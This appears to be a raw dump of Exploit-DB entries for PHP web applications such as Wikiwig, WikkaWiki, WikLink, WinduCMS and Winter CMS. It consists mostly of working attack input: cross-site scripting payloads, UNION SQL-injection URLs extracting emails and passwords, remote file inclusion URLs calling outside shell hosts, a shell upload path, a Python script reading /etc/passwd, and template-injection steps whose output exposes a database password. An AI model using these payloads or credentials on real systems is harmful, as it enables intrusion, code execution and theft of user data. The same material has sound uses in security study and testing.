deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35469
Description: Wikiwig 5.01 - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2011-03-10
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46888/info

Wikiwig is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Wikiwig 5.01 is vulnerable; other versions may also be affected. 

http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E
Exploit-DB #16988
Description: WikiWig 5.01 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-16
Author: AutoSec Tools

Exploit:
Source: http://packetstormsecurity.org/files/view/99363/wikiwig501-xss.txt

------------------------------------------------------------------------
Software................WikiWig 5.01
Vulnerability...........Persistent/Reflected Cross-site Scripting
Threat Level............Moderate (2/5)
Download................http://wikiwig.sourceforge.net/
Disclosure Date.........3/10/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A persistent/reflected cross-site scripting vulnerability in WikiWig
5.01 can be exploited to execute arbitrary JavaScript.


--PoC--

Reflected:
http://localhost/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E

Persistent:
Create a user account. Edit any page and add script tags.

<script>alert(0)</script>
Exploit-DB #26824
Description: WikkaWiki 1.1.6 - 'TextSearch.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15860/info

WikkaWiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/TextSearch?phrase=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
Exploit-DB #21241
Description: WikkiTikkiTavi 0.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-01-02
Author: Scott Moonen

Exploit:
source: https://www.securityfocus.com/bid/3946/info

WikkiTikkiTavi is a freely available engine for running a Wiki site. Wiki sites are web communities which are based on the idea that every webpage is editable by users of the website. WikkiTikkiTavi is back-ended by a MySQL database and runs on most Linux and Unix variants, as well as Microsoft Windows NT/2000 operating systems.

WikkiTikkiTavi permits remote file including. As a result, a remote attacker may include an arbitrary file located on a remote host. This may be exploited via a malicious web request. If this file is a PHP script, it will be executed on the host running the vulnerable software with the privileges of the webserver.

The attacker may use this as an opportunity to gain local access on the host running the vulnerable software.

The following URL is sufficient to exploit this issue:

http://some.host/wikihome/action/conflict.php?TemplateDir=http://my.host/

where conflict.php is the name of the malicious attacker-supplied script.
Exploit-DB #7998
Description: WikkiTikkiTavi 1.11 - Arbitrary '.PHP' File Upload
Type: webapps
Platform: php
Date: 2009-02-06
Author: ByALBAYX

Exploit:
#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :WikkiTikkiTavi 

[~]Site     :http://tavi.sourceforge.net
#############################################
[~]http://c4team.org/ [tavi_PATH] /upload.php


[~]http://c4team.org/ [tavi_PATH] img/[ shell.php ]



[~]Demo:



[~]http://skylined.org/change/tavi/upload.php


[~]http://skylined.org/change/tavi/img/albayx.php

#############################################
[~]ÃÃ¾inize BaqÃ½n :=)

[~]Greetz For  

[~]Mrabah12R & Kralman & K3vin Mitnick & web-terrorist & SpotGang & Belarus & Tajik
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------

# milw0rm.com [2009-02-06]
Exploit-DB #35165
Description: WikLink 0.1.3 - 'getURL.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-05
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45673/info

WikLink is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

WikLink 0.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wiklink/getURL.php?id=-1' union select 1111/*
Exploit-DB #35186
Description: WikLink 0.1.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-01-10
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45731/info

WikLink is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

WikLink 0.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/editCategory.php?action=edit&fold=9999'%20union%20select%201,2,3,4/*
http://www.example.com/editSite.php?action=edit&site=999'%20union%20select%201,2,3,4,5/*
Exploit-DB #28761
Description: WikyBlog 1.2.x - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-05
Author: MoHaNdKo

Exploit:
source: https://www.securityfocus.com/bid/20350/info

WikyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WikyBlog 1.2.3 and earlier versions are vulnerable; other versions may also be affected.

Update: This BID is being retired; further information reveals that the application is not vulnerable to this issue.

http://www.example.com/[scriptPath]/index.php?includeDir=http://SHELLURL.COM
Exploit-DB #32450
Description: WikyBlog 1.7.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-01
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/31525/info

WikyBlog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WikyBlog 1.7.1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php/Special/Main/keywordSearch?key="><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/Edit/Main/Home?cmd=show&revNum=65"><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/Special/Main/WhatLinksHere?to="><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/Special/Main/UserEdits?user="><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/"><iframe src="http://www.example2.com"></iframe>
Exploit-DB #11672
Description: Wild CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-09
Author: Ariko-Security

Exploit:
# Title: [SQL injection vulnerability in Wild CMS]
# Date: [09.03.2010]
# Author: [Ariko-Security]
# Software Link: [http://www.wildcms.com/]
# Version: [ALL]


============ { Ariko-Security - Advisory #4/3/2010 } =============

SQL injection vulnerability in wILD CMS 


Vendor's Description of Software:
# http://www.wildcms.com/ 
Vulnerable DEMO
# http://www.wildcms.com/page.php?page_id=139

Dork:
# N/A

Application Info:
# Name: wILD CMS
Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: medium

Fix: 
# N/A

Time Table:
# 01/03/2010 - Vendor notified.

Input passed via the "page_id" parameter to page.php is not properly sanitised before being used in a SQL query.

Solution:
# Input validation of "page_id" parameter should be corrected.

Vulnerabilities:
# http://[site]/page.php?page_id=139[SQLi]



Credit:
# Discoverd By: MG
# Advisory: http://www.ariko-security.com/mar2010/ad526.html
# Contacts: support[-at-]ariko-security.com
Exploit-DB #2414
Description: Wili-CMS 0.1.1 - Remote File Inclusion / Cross-Site Scripting / Full Path Disclosure
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
Wili-CMS Multiple Input Validation Vulnerabilities

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net


Remote include
example-view/templates/article.php?globals[content_dir]=http://psevil.googlepages.com/cmd.txt?
example-view/templates/root.php?globals[content_dir]=http://psevil.googlepages.com/cmd.txt?
example-view/templates/dates_list.php?globals[content_dir]=http://psevil.googlepages.com/cmd.txt?


Xss
http://localhost/vul/wili-cms/relocate.php?<script>alert(document.cookie);</script>
http://localhost/vul/wili-cms/example-view/inc/print_button.php?globals[pageid]="><script>alert(document.cookie);</script>


Full path
thumbnail.php?filename=global_variables.php
functions/admin/all.php
functions/admin/init_session.php
functions/all.php
example-view/admin_templates/ any_file.php

and many other Xss and Full path vulnerabilities
#WwW.SoQoR.NeT

# milw0rm.com [2006-09-21]
Exploit-DB #32117
Description: Willoughby TriO 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-26
Author: dun

Exploit:
source: https://www.securityfocus.com/bid/30384/info

Willoughby TriO is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions up to and including TriO 2.1 are vulnerable. 

http://site.com/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers--
http://site.com/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers--
Exploit-DB #34635
Description: Willscript Auction Website Script - 'category.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-06
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43254/info

Willscript Auction Website Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/webtrade/category.php?cate_id=-19%20union%20all%20select%201,version%28
Exploit-DB #35979
Description: Willscript Recipes Website Script Silver Edition - 'viewRecipe.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-25
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/48878/info

Willscript Recipes website Script Silver Edition is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/new_recipes/recipes/viewRecipe.php?recipeId=44
Exploit-DB #43214
Description: WinduCMS 3.1 - Local File Disclosure
Type: webapps
Platform: php
Date: 2017-12-06
Author: Maciek Krupa

Exploit:
#!/usr/bin/python
#
# Exploit Title: WinduCMS <= 3.1 - Local File Disclosure
# Date: 2017-12-03
# Exploit Author: Maciek Krupa
# Vendor Homepage: http://windu.org
# Version: 3.1
# Tested on: Linux Debian 9
#
# // Description //
#   
# Local File Disclosure vulnerability exists in WinduCMS through a vulnerable PHPMailer version 5.2.1 used here
# 
# // PoC //
#
# It requires a contact form present on the website
#
# Example: {{W name=contactForm inputs="name" email="root@localhost"}}
#

from requests_toolbelt import MultipartEncoder
import requests

print("WinduCMS <= 3.1 Exploit")
 
url = 'http://localhost/contact_page?mn=contactform.message.negative'
email = 'attacker@example.com'
payload = '<img src="/etc/passwd"'
form_input = 'name'
fields = {'form_key': 'contactForm', form_input: 'Attacker', 'email': email, 'content': payload}
m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundary[PII_REDACTED]39315')
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0', 'Content-Type': m.content_type}
print('Sending payload to target...')
r = requests.post(url, data=m.to_string(), headers=headers)
if r.status_code == 200:
	print('Exploited.')
Exploit-DB #28102
Description: Winged Gallery 1.0 - 'Thumb.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-24
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18629/info

Winged Gallery is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/gallery/thumb.php?image=data/path.jpg">''>">">"><SCRIPT%20SRC=http://example.com/xss.js></SCRIPT><"<'<'<'<'&size=75&type=2&w=127">''>">">">
Exploit-DB #27450
Description: WinHKI 1.4/1.5/1.6 - Directory Traversal
Type: webapps
Platform: php
Date: 2006-02-24
Author: raphael.huck@free.fr

Exploit:
source: https://www.securityfocus.com/bid/17153/info

Reportedly, an attacker can carry out directory-traversal attacks. These issues present themselves when the application processes malformed archives. 

A successful attack can allow the attacker to place potentially malicious files and overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27450.zip
Exploit-DB #10653
Description: Winn Guestbook 2.4 / Winn.ws - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : © Winn Guestbook V2.4, Winn.ws Cross Site Scripting Vulnerability       |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   :  © Winn Guestbook V2.4, Winn.ws                                         |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/Winn-Guestbook[php]/index.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #18290
Description: Winn Guestbook 2.4.8c - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-29
Author: G13

Exploit:
# Exploit Title: Winn Guestbook v2.4.8c Stored XSS
# Date: 12/29/11
# Author: G13
# Software Link: http://code.google.com/p/winn-guestbook/, 
http://www.winn.ws
# Version: 2.4.8c
# Category: webapps (php)
# CVE: 2011-5026

##### Vulnerability #####

There is no sanitation on the input of the name variable. This allows 
malicious scripts to be added. This is a stored XSS.

##### Vendor Notification #####

12/24/11 - Vendor Notified.
12/27/11 - Vendor Acknowledged, Patch Issued.

##### Resolution #####

Upgrade to Version 2.4.8d

##### Affected Variables #####

name=[XSS]

##### Exploit #####

The script can be added right in the page, there is no filtering of 
input. This can easily be exploited if the email address used is added 
to the "approved posters" list.
Exploit-DB #51893
Description: Winter CMS 1.2.3 - Server-Side Template Injection (SSTI) (Authenticated)
Type: webapps
Platform: php
Date: 2024-03-16
Author: tmrswrr

Exploit:
# Exploit Title: Winter CMS 1.2.2 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: tmrswrr
# Date: 12/05/2023
# Vendor: https://wintercms.com/
# Software Link: https://github.com/wintercms/winter/releases/v1.2.2
# Vulnerable Version(s): 1.2.2
#Tested : https://www.softaculous.com/demos/WinterCMS


1 ) Login with admin cred and click CMS > Pages field > Plugin components > 
    https://demos6.demo.com/WinterCMS/backend/cms#secondarytab-cmslangeditormarkup
2 ) Write SSTI payload : {{7*7}}
3 ) Save it , Click Priview : 
    https://demos6.demo.com/WinterCMS/demo/plugins
4 ) You will be see result : 
    49
 Payload :
    {{ dump() }}
 Result :
 
        "*::database" => array:4 [▼
          "default" => "mysql"
          "connections" => array:4 [▼
            "sqlite" => array:5 [▼
              "database" => "/home/soft/public_html/WinterCMSmcviotyn9i/storage/database.sqlite"
              "driver" => "sqlite"
              "foreign_key_constraints" => true
              "prefix" => ""
              "url" => null
            ]
            "mysql" => array:15 [▼
              "charset" => "utf8mb4"
              "collation" => "utf8mb4_unicode_ci"
              "database" => "soft_pw3qsny"
              "driver" => "mysql"
              "engine" => "InnoDB"
              "host" => "localhost"
              "options" => []
              "password" => "8QSz9(pT)3"
              "port" => 3306
              "prefix" => ""
              "prefix_indexes" => true
              "strict" => true
              "unix_socket" => ""
              "url" => null
              "username" => "soft_pw3qsny"
            ]
            "pgsql" => array:12 [▶]
            "sqlsrv" => array:10 [▶]
          ]
          "migrations" => "migrations"
          "redis" => array:4 [▼
            "client" => "phpredis"
            "options" => array:2 [▼
              "cluster" => "redis"
              "prefix" => "winter_database_"
            ]
            "default" => array:5 [▼
              "database" => "0"
              "host" => "127.0.0.1"
              "password" => null
              "port" => "6379"
              "url" => null
            ]
            "cache" => array:5 [▼
              "database" => "1"
              "host" => "127.0.0.1"
              "password" => null
              "port" => "6379"
              "url" => null
            ]
          ]
        ]
      ]
Exploit-DB #39332
Description: Wiser Backup - Information Disclosure
Type: webapps
Platform: php
Date: 2014-05-19
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/67481/info

Wiser is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download backup files that contain sensitive information. Information harvested may aid in launching further attacks.

Wiser 2.10 is vulnerable; other versions may also be affected. 

http://www.example.com/voip/sipserver/class/baixarBackup.php
Exploit-DB #3686
Description: WitShare 0.9 - 'index.php?menu' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-04-08
Author: the_Edit0r

Exploit:
"""""""""""""""""""""""""""""""""""""""""""""""
"""  ::     ::                :::::   ::::  """
"""   ::   ::                 ::  :   ::    """
"""     ::::    ::   :: ::::: :::::   ::::  """
"""    ::  ::   ::: ::: :: :: ::  ::    ::  """
"""  ::      :: :: :  : ::::: ::   :: ::::  """
"""                                         """
"""""""""""""""""""""""""""""""""""""""""""""""
   Xmor$ Security Vulnerability Research TM

# Tilte:  witshare 0.9 Local File Include Vulnerabilitiy

# Author..................: [the_Edit0r]
# HomePage ...............: [Www.XmorS-sEcurity.coM]
# Location ...............: [Iran]
# Software ...............: [witshare]
# Site Script ............: [http://sourceforge.net/projects/witshare/]
# We ArE .................: [ Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T ,DarkAngel ]
 

------------------------------------- Codes --------------------------------

<?php
  if (isset($_GET['menu'])) {
    include('pagelets/'.$_GET['menu'].'.inc');}
  else {
    include('pagelets/about.inc');}
 ?>
------------------------------- proof Of Concept ---------------------------
 
 www.example.com/[path]/index.php?menu=[Local Script]%00
 

----------------------------------------------------------------------------
 
 
# Contact me : the_3dit0r[at]Yahoo[dot]coM
# [XmorS-SEcurity.coM]

# milw0rm.com [2007-04-08]